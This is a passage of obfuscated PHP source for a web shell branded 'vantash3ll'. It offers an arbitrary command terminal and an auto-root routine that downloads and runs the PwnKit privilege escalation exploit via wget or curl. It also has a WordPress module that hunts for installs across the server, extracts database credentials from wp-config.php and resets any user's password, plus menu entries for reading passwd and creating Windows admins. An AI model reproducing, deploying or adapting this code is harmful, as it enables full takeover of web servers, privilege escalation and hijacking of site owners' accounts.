#e5393595;background:#2a181d!important;color:#ff4a7a!important}.vantacontainer{max-width:1300px;margin:32px auto;background:#232833;border-radius:14px;box-shadow:0 4px 32px #0004;padding:32px 24px}.vantaheader{max-width:1300px;margin:32px auto;background:#232833;border-radius:14px;box-shadow:0 4px 32px #0004;padding:32px 24px}</style>
</head>
<div class="vantaheader">
<header class="vanta-header">
<div class="vanta-header2-bar">
<div class="vanta-logo2">
<img src="https://cdn.privdayz.com/images/icon.png" referrerpolicy="unsafe-url" />
<span class="vanta-logo2-txt">vanta<b class="vanta-ver2">sh3ll</b></span>
<img src="https://cdn.privdayz.com/images/icon.png" referrerpolicy="unsafe-url" />
</div>
</div>
<nav class="vanta-menu">
<ul class="vanta-menu-grid">
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="vanta-chip"><i class="fas fa-home"></i><span>home</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&vanta-cmd" class="vanta-chip"><i class="fas fa-terminal"></i><span>terminal</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&v4nt4_auto_r00t" class="vanta-chip"><i class="fa-brands fa-linux"></i><span>auto linux root</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&winr00t" class="vanta-chip"><i class="fa-brands fa-windows"></i><span>win auto create admin</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&multicgi" class="vanta-chip"><i class="fas fa-ghost"></i>create cgi/perl</a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&domains" class="vanta-chip"><i class="fas fa-globe"></i> <span>show d0mains</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&passwd" class="vanta-chip"><i class="fas fa-key"></i> <span>show passwd</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&symlink" class="vanta-chip"><i class="fas fa-link"></i> <span>syml1nk file</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&wp_VANTAd00r" class="vanta-chip"><i class="fab fa-wordpress"></i> <span>wordpress sites in ftp</small></span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&adminer" class="vanta-chip"><i class="fas fa-server"></i> <span>download adminer</span></a></li>
</ul>
</nav>
</header>
<?php
function formatMemory($bytes) { if ($bytes === 'N/'.'A') return 'N'.'/A'; $units = ['B', 'K'.'B', 'M'.'B', 'G'.'B', 'T'.'B']; $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, 2) . ' ' . $units[$pow];}
function g3tdbX() { $d1sxb = ini_get('dis'.'ab'.'le_'.'f'.'unc'.'ti'.'on'.'s'); if (empty($d1sxb)) { return array(); } return explode(',', $d1sxb);}
$impdBX = array("\145\x78\x65\x63", "\x73\171\163\x74\145\155", "\x73\150\x65\x6c\154\137\145\170\145\x63", "\160\141\163\x73\x74\150\x72\165", "\x70\162\x6f\143\137\157\160\x65\156", "\x70\x6f\160\145\156", "\x63\165\162\154\137\x65\170\145\143", "\x63\x75\x72\154\x5f\x6d\165\154\x74\151\x5f\x65\x78\x65\x63", "\x70\x61\x72\x73\145\x5f\151\156\151\137\x66\151\x6c\145", "\x73\x68\x6f\x77\x5f\163\157\165\162\x63\145", "\x73\x79\155\x6c\151\x6e\153", "\x70\x75\x74\145\156\x76", "\155\141\151\x6c", "\x64\154", "\143\150\155\x6f\x64", "\143\x68\157\x77\x6e", "\143\150\147\x72\160", "\154\151\156\x6b", "\146\163\157\143\x6b\157\x70\x65\156", "\160\146\163\157\143\x6b\157\160\x65\x6e", "\160\x6f\x73\151\170\137\x6b\151\154\154", "\x70\157\163\x69\170\137\155\153\146\x69\x66\x6f", "\160\x6f\163\151\170\137\x73\x65\x74\160\147\x69\144", "\160\157\163\151\170\x5f\163\x65\164\x73\151\x64", "\x70\157\x73\x69\x78\137\163\x65\x74\165\151\x64", "\160\x63\x6e\x74\x6c\x5f\145\170\145\143", "\x69\x6d\x61\x70\137\x6f\x70\x65\x6e", "\141\160\141\143\x68\x65\x5f\x73\x65\x74\x65\x6e\166", "\160\x72\x6f\143\x5f\x6e\x69\x63\145", "\160\162\x6f\x63\x5f\164\x65\162\x6d\x69\x6e\x61\164\x65", "\160\162\157\143\x5f\x67\x65\x74\x5f\x73\x74\141\x74\165\163", "\145\x73\143\x61\160\x65\163\150\145\154\x6c\x63\x6d\x64", "\x65\x73\143\141\x70\145\163\x68\x65\154\154\141\x72\147", "\x69\x6e\x69\137\x72\x65\163\x74\157\162\x65", "\163\164\162\145\141\x6d\x5f\x73\157\x63\x6b\145\164\137\x73\x65\162\x76\145\162");
$d1sbfX = g3tdbX(); $d1sxbImportant = array_intersect($impdBX, $d1sbfX); $fn_str_replace = _vnt_str([115,116,114,95,114,101,112,108,97,99,101]); $fn_explode = _vnt_str([101,120,112,108,111,100,101]); $fn_trim = _vnt_str([116,114,105,109]);
?>
<body>
<div class="vantacontainer">
<div class="privcontent flex-1 overflow-auto">
<div class="p-6">
<?php if (isset($_GET['v4n'.'t4'.'_a'.'uto'.'_r'.'00'.'t'])): ?>
<?php
session_start();
if (!isset($_SESSION['va'.'nt'.'a'.'sh3'.'ll'.'_'.'r'.'0'.'0t'.'_'.'sta'.'tus'])) $_SESSION['va'.'nta'.'s'.'h3l'.'l_'.'r0'.'0t_'.'sta'.'t'.'us'] = 'us'.'e'.'r';
if (!isset($_SESSION['v'.'an'.'tas'.'h3l'.'l'.'_r0'.'0t'.'_'.'lo'.'g'])) $_SESSION['van'.'t'.'ash'.'3ll'.'_r0'.'0'.'t'.'_lo'.'g'] = [];
function vantash3ll_log($msg) {
$_SESSION['v'.'an'.'tas'.'h3l'.'l'.'_r0'.'0t'.'_l'.'o'.'g'][] = $msg;
if (count($_SESSION['van'.'ta'.'sh3'.'ll_'.'r0'.'0t'.'_l'.'og']) > 20) array_shift($_SESSION['v'.'ant'.'a'.'s'.'h3'.'ll_'.'r00'.'t_'.'log']);
}
function vantash3ll_download_pwnkit() {
if (!file_exists('p'.'wnk'.'it')) {
vantash3ll_log("[*] Trying wget for pwnkit...");
$wget = v4nt4C('w'.'get'.' -q'.' -O'.' '.'pwn'.'k'.'i'.'t h'.'ttp'.'s:/'.'/'.'g'.'ith'.'ub.'.'c'.'om'.'/'.'l'.'y'.'4k/'.'Pw'.'n'.'Ki'.'t'.'/'.'raw'.'/m'.'a'.'i'.'n/'.'P'.'w'.'nK'.'i'.'t');
clearstatcache();
if (!file_exists('pw'.'n'.'k'.'it') || filesize('pw'.'nki'.'t') < 10000) {
vantash3ll_log("[*] wget failed or file too small. Trying curl...");
$curl = v4nt4C('cu'.'r'.'l -'.'sL'.' -'.'-'.'out'.'put'.' pw'.'nki'.'t'.' '.'htt'.'p'.'s:'.'//g'.'ith'.'ub.'.'co'.'m/l'.'y4k'.'/Pw'.'nK'.'it/'.'raw'.'/'.'m'.'ai'.'n/P'.'wnK'.'i'.'t');
clearstatcache();
if (!file_exists('pw'.'nk'.'it') || filesize('pw'.'nki'.'t') < 10000) {
vantash3ll_log("[!] Both wget and curl failed! No pwnkit.");
return false;
} else {
vantash3ll_log("[+] curl download successful!");
}
} else {
vantash3ll_log("[+] wget download successful!");
}
v4nt4C('chm'.'o'.'d'.' '.'+x '.'pw'.'nk'.'it');
vantash3ll_log("[*] chmod +x set for pwnkit.");
return true;
}
return true;
}
function vantash3ll_try_root() {
$_SESSION['van'.'ta'.'sh3'.'l'.'l_'.'r0'.'0t'.'_s'.'ta'.'t'.'u'.'s'] = 'us'.'e'.'r';
$_SESSION['van'.'t'.'a'.'sh'.'3ll'.'_'.'r00'.'t_l'.'o'.'g'] = [];
vantash3ll_log("[*] [AUTO-ROOT] Detecting current user...");
$id = trim(v4nt4C('i'.'d'));
vantash3ll_log("[*] User: $id");
if (strpos($id, 'ui'.'d'.'=0('.'roo'.'t)') !== false) {
$_SESSION['v'.'an'.'ta'.'s'.'h'.'3l'.'l_r'.'00'.'t'.'_s'.'ta'.'tus'] = 'ro'.'ot';
vantash3ll_log("[+] Already ROOT.");
return;
}
if (vantash3ll_download_pwnkit()) {
if (file_exists('pwn'.'k'.'i'.'t')) {
vantash3ll_log("[*] Running pwnkit for root session...");
@unlink('.'.'pri'.'vda'.'yz'.'-r'.'o'.'o'.'t');
v4nt4C('./'.'pw'.'n'.'ki'.'t '.'"id'.'" >'.' .p'.'r'.'i'.'vda'.'y'.'z-r'.'oot');
usleep(350000);
$res = @file_get_contents('.p'.'ri'.'vda'.'y'.'z-r'.'oo'.'t');
if ($res && strpos($res, 'ui'.'d'.'=0('.'r'.'o'.'ot)') !== false) {
$_SESSION['va'.'nt'.'ash'.'3l'.'l_'.'r00'.'t_s'.'ta'.'t'.'us'] = 'roo'.'t';
vantash3ll_log("[+] r00t success! ($res)");
} else {
vantash3ll_log("[!] r00t fail. ($res)");
}
}
} else {
vantash3ll_log("[!] pwnkit download totally failed.");
}
}
vantash3ll_try_root();
?>
<div class="vanta-cmd-page" style="max-width:1024px;margin:38px auto 0 auto;">
<div class="vanta-cmd-header" style="display:flex;align-items:center;gap:11px;">
<div class="vanta-cmd-ico"><i class="fas fa-terminal"></i></div>
<div>
<div class="vanta-cmd-title" style="font-size:1.2em;">
v4nt4 auto r00t
<?php if ($_SESSION['v'.'ant'.'a'.'sh'.'3ll'.'_r'.'00t'.'_st'.'at'.'us'] === 'r'.'oo'.'t'): ?>
<span style="background:#279300;color:#fff;border-radius:7px;padding:2px 10px 2px 10px;font-size:.89em;margin-left:15px;">ROOT ACTIVE (uid=0)</span>
<?php else: ?>
<span style="background:#888;color:#fff;border-radius:7px;padding:2px 10px 2px 10px;font-size:.89em;margin-left:15px;">USER MODE</span>
<?php endif; ?>
</div>
</div>
</div>
<div class="vanta-cmd-content" style="margin-top:23px;">
<label class="vanta-cmd-outputlabel" style="margin-top:19px;display:block;">Auto Root Output:</label>
<pre class="vanta-cmd-output" id="vanta-cmd-output" style="background:#111;color:#c4ffc4;padding:18px;border-radius:9px;min-height:110px;max-height:380px;overflow:auto;margin-bottom:8px;"><?php
if (!empty($_SESSION['v'.'a'.'n'.'ta'.'sh3'.'ll_'.'r0'.'0t'.'_l'.'o'.'g'])) {
foreach ($_SESSION['van'.'t'.'a'.'sh'.'3'.'ll_'.'r'.'00'.'t_l'.'o'.'g'] as $l) {
echo htmlspecialchars($l) . "\n";
}
}
?></pre>
<form method="post" id="vanta-cmd-form">
<div class="vanta-cmd-inputbox" style="margin-bottom:17px;">
<input type="text" class="vanta-cmd-cmdinput" name="vanta-cmd_cmd" value="<?= htmlspecialchars($_POST['v'.'ant'.'a-c'.'md_'.'cm'.'d'] ?? 'i'.'d') ?>" autocomplete="off" autofocus placeholder="ls -la /; id; whoami ..." style="width:92%;max-width:500px;">
</div>
<button class="vanta-cmd-btn" type="submit"><i class="fas fa-bolt"></i> run</button>
</form>
<label class="vanta-cmd-outputlabel" style="margin-top:13px;display:block;">Command Output:</label>
<pre class="vanta-cmd-output" id="vanta-cmd-cmdout" style="background:#161819;color:#e4ffb0;padding:15px 13px 18px 13px;border-radius:7px;min-height:58px;max-height:330px;overflow:auto;"><?php
if ($_SERVER['RE'.'QUE'.'S'.'T_'.'ME'.'TH'.'OD'] === 'P'.'OS'.'T' && isset($_POST['va'.'nt'.'a-'.'cmd'.'_'.'c'.'m'.'d'])) {
$c = $_POST['va'.'nt'.'a'.'-'.'cmd'.'_cm'.'d'];
$is_root = false;
if (file_exists('.p'.'r'.'ivd'.'ay'.'z-r'.'oot')) {
$res = @file_get_contents('.pr'.'ivd'.'ayz'.'-ro'.'ot');
if ($res && strpos($res, 'uid'.'=0'.'(ro'.'ot'.')') !== false) $is_root = true;
}
if ($is_root && file_exists('pwn'.'kit')) {
@unlink('.'.'p'.'ri'.'v'.'da'.'yz'.'-r'.'o'.'ot2');
v4nt4C('.'.'/pw'.'n'.'ki'.'t "' . addslashes($c) . ' '.'2>'.'&1"'.' > '.'.pr'.'ivd'.'ayz'.'-ro'.'ot2');
usleep(350000);
$out = @file_get_contents('.'.'p'.'ri'.'vda'.'y'.'z'.'-ro'.'ot'.'2');
if (!$out) $out = "[!] No output or blocked.";
} else {
$out = v4nt4C($c . ' '.'2'.'>&'.'1');
if (!$out) $out = "[!] No output or blocked.";
}
echo "\n";
echo htmlspecialchars($out);
}
?></pre>
</div>
</div>
<script>
window.onload = function() {
var el = document.getElementById('vanta-cmd-output');
if(el) el.scrollTop = el.scrollHeight;
var el2 = document.getElementById('vanta-cmd-cmdout');
if(el2) el2.scrollTop = el2.scrollHeight;
}
</script>
<?php elseif (isset($_GET['wp'.'_V'.'A'.'NTA'.'d0'.'0r'])): ?>
<script>
function copyText(txt, btn) {
navigator.clipboard.writeText(txt);
if(btn){ btn.innerText='copied!'; setTimeout(()=>btn.innerText='copy',1000);}
}
function showAlert(msg, type) {
let al=document.getElementById('wp_VANTAd00r-alertbox');
if(!al){
al=document.createElement('div');
al.id='wp_VANTAd00r-alertbox';
al.className='wp_VANTAd00r-alert';
document.body.prepend(al);
}
al.innerHTML=msg;
al.className = 'wp_VANTAd00r-alert' + (type=='ok'?' ok':'');
al.style.display = 'block';
window.scrollTo({top:al.offsetTop-28, behavior:'smooth'});
setTimeout(()=>{al.style.display='none';},60000);
}
</script>
<div class="wp_VANTAd00r-main">
<div class="wp_VANTAd00r-title">
<i class="fab fa-wordpress"></i>
wp auto hunter & admin reset
</div>
<div id="wp_VANTAd00r-alertbox" style="display:none"></div>
<?php
function wp_find_paths($max=99) {
$found = [];
$scanned = [];
$roots = [];
$cwd = getcwd();
$roots[] = $cwd;
if (isset($_SERVER['D'.'OC'.'U'.'M'.'E'.'NT'.'_RO'.'O'.'T']) && $_SERVER['DOC'.'UME'.'NT'.'_'.'ROO'.'T'] && $_SERVER['DOC'.'UME'.'NT'.'_RO'.'O'.'T']!=$cwd)
$roots[] = $_SERVER['DO'.'CUM'.'EN'.'T_'.'ROO'.'T'];
$roots[] = dirname($cwd);
foreach(['/'.'ho'.'m'.'e','/ho'.'me'.'1','/ho'.'me'.'2','/'.'h'.'ome'.'3','/'.'var'.'/'.'w'.'ww','/va'.'r/'.'ww'.'w/v'.'ho'.'sts','/'.'us'.'r/'.'sh'.'ar'.'e'.'/'.'ng'.'inx'.'/'.'h'.'t'.'ml','/sr'.'v/w'.'ww','/s'.'rv/'.'ht'.'tp','/'.'d'.'ata'.'/'.'we'.'b','/op'.'t/'.'lam'.'pp'.'/ht'.'doc'.'s','/'.'h'.'tdo'.'cs','/'.'us'.'e'.'r'.'s'] as $root)
if (is_dir($root)) $roots[] = $root;
$up = $cwd;
for($i=0;$i<7;$i++) {
$up = dirname($up);
if ($up && is_dir($up) && $up!="/" && !in_array($up,$roots)) $roots[] = $up;
}
$roots = array_unique(array_filter($roots,'is_'.'dir'));
$queue = [];
foreach($roots as $r) $queue[] = [$r,0];
while($queue && count($found)<$max) {
list($dir,$lvl) = array_shift($queue);
if (isset($scanned[$dir])) continue;
$scanned[$dir]=1;
if ((file_exists($dir.'/wp'.'-lo'.'a'.'d'.'.'.'php')||file_exists($dir.'/wp'.'-co'.'nf'.'ig'.'.'.'p'.'hp')) && is_file($dir.'/'.'wp'.'-co'.'n'.'f'.'ig.'.'ph'.'p')) {
$found[] = realpath($dir);
}
if ($lvl<6) {
foreach(@glob($dir.'/'.'*',GLOB_ONLYDIR)?:[] as $d) {
if (!isset($scanned[$d])) $queue[] = [$d,$lvl+1];
}
}
}
return array_unique($found);
}
function wp_get_db_config($wp_dir) {
$cfgf = $wp_dir.'/w'.'p-c'.'on'.'fi'.'g.p'.'hp';
if (!is_file($cfgf)) return false;
$cfg = @file_get_contents($cfgf);
$info = [];
preg_match("/define\(\s*'DB_NAME'\s*,\s*'([^']+)'/", $cfg, $m); $info['d'.'b'] = $m[1] ?? '';
preg_match("/define\(\s*'DB_USER'\s*,\s*'([^']+)'/", $cfg, $m); $info['use'.'r'] = $m[1] ?? '';
preg_match("/define\(\s*'DB_PASSWORD'\s*,\s*'([^']*)'/", $cfg, $m); $info['p'.'as'.'s'] = $m[1] ?? '';
preg_match("/define\(\s*'DB_HOST'\s*,\s*'([^']+)'/", $cfg, $m); $info['ho'.'s'.'t'] = $m[1] ?? '';
preg_match("/\$table_prefix\s*=\s*'([^']+)'/", $cfg, $m); $info['pre'.'fi'.'x'] = $m[1] ?? 'w'.'p_';
return $info;
}
function wp_get_version($wp_dir) {
$ver = '';
if (is_file($wp_dir.'/w'.'p-i'.'n'.'c'.'lu'.'des'.'/'.'v'.'er'.'si'.'o'.'n'.'.'.'ph'.'p')) {
$vcode = @file_get_contents($wp_dir.'/'.'w'.'p'.'-'.'i'.'ncl'.'ud'.'es'.'/ve'.'rs'.'io'.'n.'.'php');
if (preg_match("/\\\$wp_version\s*=\s*'([^']+)'/i", $vcode, $m)) $ver = $m[1];
}
return $ver;
}
function wp_fetch_users($mysqli, $prefix) {
$users = [];
$res = @$mysqli->query("SELECT ID, user_login, user_email, user_registered FROM {$prefix}users");
if (!$res) return [];
while ($row = $res->fetch_assoc()) {
$meta = @$mysqli->query("SELECT meta_value FROM {$prefix}usermeta WHERE user_id=".$row['I'.'D']." AND meta_key='{$prefix}capabilities'")->fetch_assoc();
$role = '';
if ($meta && preg_match('/s:'.'\\d'.'+:"'.'('.'[^'.'"'.']+)'.'"/', $meta['me'.'t'.'a_v'.'a'.'l'.'u'.'e'], $m))
$role = $m[1];
else $role = 'u'.'n'.'k'.'now'.'n';
$row['ro'.'le'] = $role;
$users[] = $row;
}
return $users;
}
function wp_reset_pw($mysqli, $prefix, $uid, $newpw) {
$hash = password_hash($newpw, PASSWORD_BCRYPT);
return @$mysqli->query("UPDATE {$prefix}users SET user_pass='".$mysqli->real_escape_string($hash)."' WHERE ID=".(int)$uid);
}
function get_site_url($mysqli, $prefix) {
$url = '';
$q = @$mysqli->query("SELECT option_value FROM {$prefix}options WHERE option_name='siteurl' LIMIT 1");
if ($q && $r = $q->fetch_row()) $url = rtrim($r[0],'/');
return $url;
}
$wp_dirs = wp_find_paths(99);
if (!$wp_dirs) {
echo '<'.'d'.'iv'.' cl'.'ass'.'="w'.'p'.'_V'.'A'.'NTA'.'d'.'00r'.'-al'.'e'.'rt"'.'>N'.'o'.' '.'Wor'.'d'.'P'.'re'.'ss'.' d'.'et'.'e'.'cte'.'d ('.'a'.'l'.'l '.'dir'.'s s'.'can'.'ned'.').<'.'/di'.'v'.'>';
}
if ($_SERVER['REQ'.'U'.'ES'.'T_'.'MET'.'HO'.'D']=='PO'.'S'.'T' && isset($_POST['wp_'.'dir'])) {
$wp_dir = $_POST['wp_'.'d'.'ir'];
$cfg = wp_get_db_config($wp_dir);
$db = $cfg['d'.'b'] ?? ''; $user = $cfg['use'.'r'] ?? ''; $pass = $cfg['p'.'a'.'ss'] ?? '';
$host = $cfg['hos'.'t'] ?? 'loc'.'al'.'h'.'os'.'t'; $prefix = $cfg['p'.'ref'.'ix'] ?? 'w'.'p_';
$mysqli = @new mysqli($host, $user, $pass, $db);
if ($mysqli->connect_errno) {
echo "<script>showAlert('[FAIL] DB Connect: ".htmlspecialchars($mysqli->connect_error)."','fail');</script>"; exit;
}
if (isset($_POST['r'.'e'.'set'.'_p'.'w'], $_POST['re'.'s'.'et'.'_ui'.'d'], $_POST['ne'.'w'.'pw'])) {
$uid = intval($_POST['re'.'s'.'et'.'_ui'.'d']);
$newpw = trim($_POST['n'.'e'.'wpw']);
if (wp_reset_pw($mysqli, $prefix, $uid, $newpw)) {
echo "<script>showAlert('[OK] Password changed! UserID: $uid, PW: <span class=\"wp_VANTAd00r-pw\">".htmlspecialchars($newpw)."</span>','ok');</script>";
} else {
echo "<script>showAlert('[FAIL] Password change failed!','fail');</script>";
}
exit;
}
}
foreach ($wp_dirs as $wp_dir):
$cfg = wp_get_db_config($wp_dir);
$db = $cfg['d'.'b'] ?? ''; $user = $cfg['u'.'se'.'r'] ?? ''; $pass = $cfg['p'.'as'.'s'] ?? '';
$host = $cfg['ho'.'st'] ?? 'l'.'oca'.'l'.'hos'.'t'; $prefix = $cfg['pre'.'fi'.'x'] ?? 'w'.'p_';
$wp_version = wp_get_version($wp_dir);
echo '<d'.'iv'.' cl'.'a'.'s'.'s="'.'w'.'p_'.'V'.'AN'.'T'.'Ad0'.'0'.'r'.'-si'.'t'.'e">';
echo '<di'.'v '.'cl'.'a'.'s'.'s="'.'w'.'p'.'_V'.'ANT'.'A'.'d00'.'r-'.'hea'.'d'.'e'.'r">';
echo '<'.'spa'.'n '.'cl'.'a'.'s'.'s='.'"w'.'p_'.'VA'.'N'.'T'.'A'.'d'.'00r'.'-p'.'a'.'th"'.'><i'.' cl'.'ass'.'='.'"fa'.'b f'.'a'.'-'.'wor'.'dp'.'res'.'s'.'"'.'></'.'i'.'> '.htmlspecialchars($wp_dir).'</s'.'p'.'an'.'>';
if ($wp_version) echo '<sp'.'a'.'n c'.'las'.'s='.'"wp'.'_V'.'A'.'NTA'.'d'.'00r'.'-v'.'e'.'rs'.'ion'.'">'.'WP'.' '.$wp_version.'</s'.'pa'.'n'.'>';
echo '<sp'.'an'.' '.'c'.'la'.'ss='.'"w'.'p_V'.'AN'.'T'.'A'.'d00'.'r-'.'db'.'inf'.'o'.'">'.'
'.' '.' '.'<'.'b>h'.'0s'.'t:<'.'/'.'b> '.htmlspecialchars($host).' '.'<'.'b>'.'db_'.'u'.'s'.'e'.'r'.':<'.'/'.'b'.'>'.' '.htmlspecialchars($user).' <'.'b>d'.'b_'.'pw'.':<'.'/b>'.' '.htmlspecialchars($user).' <'.'b>'.'db:'.'</b'.'> '.htmlspecialchars($db).' <'.'b>'.'pre'.'f1x'.':'.'<'.'/b>'.' '.$prefix.'
'.'
'.' '.' <'.'/sp'.'an>';
echo '</'.'d'.'iv'.'>';
$users = [];
$mysqli = @new mysqli($host, $user, $pass, $db);
if ($mysqli->connect_errno) {
echo '<'.'div'.' '.'cla'.'ss'.'="'.'w'.'p'.'_VA'.'NT'.'A'.'d'.'00'.'r-'.'ale'.'rt"'.' st'.'y'.'le='.'"co'.'lo'.'r'.':#e'.'5'.'393'.'5;'.'">'.'D'.'B E'.'r'.'ror'.': '.htmlspecialchars($mysqli->connect_error).'</'.'div'.'>';
echo '</d'.'i'.'v'.'>'; continue;
}
$users = wp_fetch_users($mysqli, $prefix);
$site_url = get_site_url($mysqli, $prefix);
echo '<'.'div'.' cl'.'as'.'s='.'"wp'.'_V'.'A'.'N'.'TA'.'d00'.'r-u'.'se'.'rs'.'">'.'<'.'ta'.'ble'.'>'.'<t'.'r'.'>'.'
'.' '.' <t'.'h>'.'ID'.'</t'.'h>'.'<th'.'>us'.'e'.'r'.'</'.'th'.'><'.'th'.'>e'.'mai'.'l<'.'/'.'th>'.'<t'.'h>r'.'ol'.'e'.'</'.'th'.'>'.'<'.'th'.'>'.'r'.'es'.'et '.'pw'.'</'.'th'.'><'.'th>'.'w'.'p-'.'log'.'in'.'</t'.'h>'.'<'.'/'.'t'.'r>';
foreach ($users as $u) {
$pw_val = "privdayz".rand(100,999);
echo '<t'.'r'.'>'.'
'.' '.' '.' '.'<'.'td'.'>'.$u['I'.'D'].'</t'.'d'.'>
'.'
'.' '.' '.' <t'.'d'.'>'.htmlspecialchars($u['u'.'se'.'r_'.'l'.'o'.'gin']).'</t'.'d'.'>'.'
'.' '.' '.' <'.'t'.'d>'.htmlspecialchars($u['u'.'se'.'r'.'_'.'em'.'ail']).'</t'.'d>
'.'
'.' '.' '.' '.'<'.'td'.'>'.$u['r'.'ol'.'e'].'</'.'td>'.'
'.' '.' '.' <'.'td>'.'
'.'
'.' '.' '.' '.' '.'<'.'for'.'m m'.'eth'.'o'.'d="'.'pos'.'t'.'" s'.'t'.'yle'.'="d'.'isp'.'l'.'ay'.':'.'i'.'nli'.'ne'.';"'.'>
'.' '.' '.' '.' '.' <'.'i'.'n'.'put'.' t'.'y'.'p'.'e='.'"hi'.'d'.'d'.'en'.'"'.' n'.'a'.'me='.'"w'.'p'.'_di'.'r" '.'va'.'lue'.'="'.htmlspecialchars($wp_dir).'">'.'
'.' '.' '.' '.' <'.'in'.'pu'.'t t'.'ype'.'='.'"h'.'idd'.'en'.'" '.'n'.'ame'.'="r'.'e'.'s'.'et_'.'u'.'id'.'"'.' '.'va'.'lue'.'='.'"'.$u['I'.'D'].'">
'.'
'.' '.' '.' '.' '.' <i'.'npu'.'t'.' ty'.'pe'.'="t'.'e'.'xt"'.' n'.'a'.'m'.'e'.'="n'.'ewp'.'w" '.'val'.'u'.'e="'.$pw_val.'" '.'cla'.'s'.'s="'.'wp'.'_VA'.'NTA'.'d00'.'r-p'.'w" '.'s'.'t'.'yl'.'e="'.'wi'.'dt'.'h:9'.'4px'.';">'.'
'.'
'.' '.' '.' '.' '.' '.'<'.'bu'.'t'.'to'.'n'.' n'.'a'.'m'.'e="'.'res'.'e'.'t_'.'p'.'w'.'" c'.'l'.'ass'.'="w'.'p_'.'V'.'AN'.'TA'.'d'.'0'.'0r'.'-bt'.'n w'.'p'.'_V'.'ANT'.'Ad'.'0'.'0'.'r-b'.'tn-'.'g'.'ree'.'n"'.'>r'.'es'.'e'.'t<'.'/bu'.'tt'.'on'.'>
'.'
'.' '.' '.' '.' '.' '.' '.'<b'.'ut'.'t'.'on'.' '.'t'.'yp'.'e='.'"bu'.'tto'.'n"'.' cl'.'ass'.'='.'"wp'.'_VA'.'N'.'TAd'.'00r'.'-b'.'tn'.' w'.'p_'.'VA'.'N'.'TA'.'d'.'00'.'r-b'.'t'.'n-'.'cop'.'y'.'"'.' '.'on'.'c'.'l'.'i'.'ck='.'"co'.'py'.'Tex'.'t(t'.'his'.'.p'.'rev'.'i'.'ous'.'Ele'.'men'.'tS'.'ibl'.'i'.'n'.'g.v'.'a'.'lue'.','.' '.'thi'.'s)"'.'>c'.'opy'.'</b'.'u'.'t'.'t'.'o'.'n>
'.'
'.' '.' '.' '.' '.' </'.'fo'.'rm'.'>
'.'
'.' '.' '.' '.'</'.'t'.'d'.'>
'.'
'.' '.' '.' '.' <t'.'d'.'>';
if ($site_url) {
$login_url = htmlspecialchars($site_url . '/wp'.'-lo'.'gin'.'.'.'p'.'h'.'p?'.'l'.'og=' . urlencode($u['us'.'er'.'_l'.'ogi'.'n']));
echo '<a'.' hr'.'ef='.'"'.$login_url.'"'.' cl'.'a'.'s'.'s="'.'wp_'.'VAN'.'TA'.'d00'.'r-b'.'tn '.'wp_'.'VAN'.'TAd'.'00r'.'-b'.'tn-'.'gr'.'een'.'" t'.'arg'.'et='.'"_'.'bl'.'a'.'nk'.'"'.'>'.'l'.'og'.'in'.'</'.'a>';
} else {
echo '<'.'s'.'pan'.' cl'.'as'.'s='.'"'.'wp'.'_VA'.'N'.'T'.'Ad'.'0'.'0'.'r'.'-al'.'e'.'rt'.'"'.'>'.'n'.'o '.'si'.'te'.' u'.'rl'.'<'.'/s'.'pan'.'>';
}
echo '</t'.'d'.'>'.'
'.' '.' '.' '.' <'.'/tr'.'>';
}
echo '</t'.'ab'.'l'.'e><'.'/d'.'i'.'v'.'>';
echo '<'.'/'.'di'.'v>';
endforeach;
?>
</div>
<?php elseif (!empty($_GET['f'])):
$file_path = $VANTAxas[0]() . "/" . unx($_GET['f']);
$file_raw = '';
if (is_file($file_path)) {
$file_raw = file_get_contents($file_path, false, null, 0, 10*1024*1024);
if (!mb_check_encoding($file_raw, 'UT'.'F-'.'8')) {
$file_raw = mb_convert_encoding($file_raw, 'UT'.'F-8', 'ISO'.'-8'.'85'.'9'.'-1,'.'Win'.'d'.'ows'.'-12'.'54'.',UT'.'F'.'-8');
}
}
$edit_result = '';
if ($_SERVER['RE'.'QUE'.'ST_'.'ME'.'THO'.'D']=='P'.'O'.'S'.'T' && isset($_POST['s'.'ave'.'-e'.'di'.'to'.'r'])) {
$target = $file_path;
$code = $_POST['cod'.'e-e'.'dit'.'o'.'r'];
$ok = false;
if (function_exists('fi'.'le_'.'put'.'_co'.'n'.'t'.'en'.'t'.'s')) $ok = @file_put_contents($target, $code) !== false;
if (!$ok && function_exists('fo'.'pen')) {
$h = @fopen($target, 'w');
if ($h) { @fwrite($h, $code); @fclose($h); $ok = true; }
}
if (!$ok && function_exists('v4n'.'t'.'4C')) {
$tmpf = sys_get_temp_dir()."/pzedit_".uniqid();
@file_put_contents($tmpf, $code);
v4nt4C('cp'.' '.escapeshellarg($tmpf).' '.escapeshellarg($target));
if (@filesize($target) == strlen($code)) $ok = true;
@unlink($tmpf);
}
$edit_result = $ok
? "<span style='color:#ad1457;font-weight:bold;'><i class='fas fa-check-circle'></i> Saved!</span>"
: "<span style='color:#e53935;font-weight:bold;'><i class='fas fa-times'></i> Save Failed!</span>";
if (is_file($file_path)) {
$file_raw = file_get_contents($file_path, false, null, 0, 10*1024*1024);
if (!mb_check_encoding($file_raw, 'UTF'.'-8')) {
$file_raw = mb_convert_encoding($file_raw, 'U'.'TF'.'-8', 'ISO'.'-8'.'85'.'9'.'-'.'1,W'.'in'.'dow'.'s-1'.'25'.'4,'.'U'.'TF'.'-'.'8');
}
}
}
?>
<div class="v4nt4-card-main" style="max-width:860px;margin:38px auto 0 auto;background:var(--panel);border-radius:18px;box-shadow:0 4px 32px #00e0ff10;padding:29px 23px 23px 23px;">
<div style="display:flex;align-items:center;gap:16px;margin-bottom:16px;">
